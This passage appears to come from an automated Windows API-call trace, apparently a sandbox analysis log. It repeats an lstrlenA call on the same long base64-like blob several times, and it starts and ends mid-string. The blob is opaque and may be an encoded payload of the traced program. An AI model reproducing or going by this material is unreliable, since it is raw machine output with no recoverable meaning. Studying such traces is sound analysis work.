W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="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